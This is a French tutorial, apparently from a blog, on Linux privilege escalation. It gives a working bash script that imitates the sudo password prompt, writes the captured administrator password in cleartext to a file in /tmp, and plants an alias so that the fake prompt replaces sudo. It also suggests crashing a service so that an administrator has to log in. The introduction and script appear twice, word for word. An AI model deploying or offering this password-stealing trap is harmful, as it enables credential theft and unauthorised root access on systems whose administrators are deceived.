Linux sudo pot

First things first, qu’est ce que c’est une privilege escalation ? Eh bien c’est une méthode/technique/attaque qui permet à une personne de passer de simple utilisateur à utilisateur root (sur Linux) ou NT System/Administrateur (sur Windows). Attention, on peut très bien priv esc sans pour autant être root ou NT System. Le but d’une priv esc c’est de récupérer des droits plus élevés que ceux qu’on a déjà.

Pour s’élever en privilège, on peut soit récupérer le mot de passe de l’administrateur (via social engineering/phishing par exemple) ou encore exploiter une faille locale. Ici je vais vous fournir un petit script qui va simuler le fonctionnement de sudo tout en volant le mot de passe de l’administrateur.

Voici le script à écrire dans le répertoire /tmp :

#!/bin/bash
i=1;
string="sudo -S "$@;
while [ "$i" -lt 4 ]; do 
	echo -n "[sudo] Mot de passe de $USER : "; 
	stty -echo;	read pass;	stty echo;
	echo "";
	echo $pass | $string 2> /dev/null;
	if [[ $? -eq 0 ]]; then
		echo "#$USER : $pass" >> /tmp/sudopot.sh;	
		break;
	else 
		if [[ $i -eq 3 ]]; then
			echo "sudo: 3 saisies de mots de passe incorrectes";
			break;
		else 
			echo "Désolé, essayez de nouveau.";
		fi
	fi	
	((i++));
	unset pass;
done;

Une fois le fichier crée, il va falloir créer un alias que l’on appellera sudo et qui pointera sur ce fichier. L’alias ressemblera à ça :

alias sudo="/bin/bash /tmp/'nom_de_votre_fichier'.sh"

First things first, qu’est ce que c’est une privilege escalation ? Eh bien c’est une méthode/technique/attaque qui permet à une personne de passer de simple utilisateur à utilisateur root (sur Linux) ou NT System/Administrateur (sur Windows). Attention, on peut très bien priv esc sans pour autant être root ou NT System. Le but d’une priv esc c’est de récupérer des droits plus élevés que ceux qu’on a déjà.

Pour s’élever en privilège, on peut soit récupérer le mot de passe de l’administrateur (via social engineering/phishing par exemple) ou encore exploiter une faille locale. Ici je vais vous fournir un petit script qui va simuler le fonctionnement de sudo tout en volant le mot de passe de l’administrateur.

Voici le script à écrire dans le répertoire /tmp :

#!/bin/bash
i=1;
string="sudo -S "$@;
while [ "$i" -lt 4 ]; do 
	echo -n "[sudo] Mot de passe de $USER : "; 
	stty -echo;	read pass;	stty echo;
	echo "";
	echo $pass | $string 2> /dev/null;
	if [[ $? -eq 0 ]]; then
		echo "#$USER : $pass" >> /tmp/sudopot.sh;	
		break;
	else 
		if [[ $i -eq 3 ]]; then
			echo "sudo: 3 saisies de mots de passe incorrectes";
			break;
		else 
			echo "Désolé, essayez de nouveau.";
		fi
	fi	
	((i++));
	unset pass;
done;

Une fois le fichier crée, il va falloir créer un alias que l’on appellera sudo et qui pointera sur ce fichier. L’alias ressemblera à ça :

alias sudo="/bin/bash /tmp/'nom_de_votre_fichier'.sh"

Vous n'aurez plus qu'à attendre qu'un administrateur se connecte et utilise la commande sudo pour obtenir en clair son mot de passe. Sinon vous pourrez faire crash un service. Comme ça l’administrateur sera obligé de se connecter pour le relancer !

Enfin bref, comme vous pouvez le voir, les strings du script sont en français. Il faudra donc les adapter suivant la langue utilisée sur le système.

On peut faire mieux en ajoutant de la persistance et une petite backdoor des familles par exemple. Mais bon, pour des raison d’éthique je ne publierai pas de scripts plus avancés. Je vous laisse faire le travail!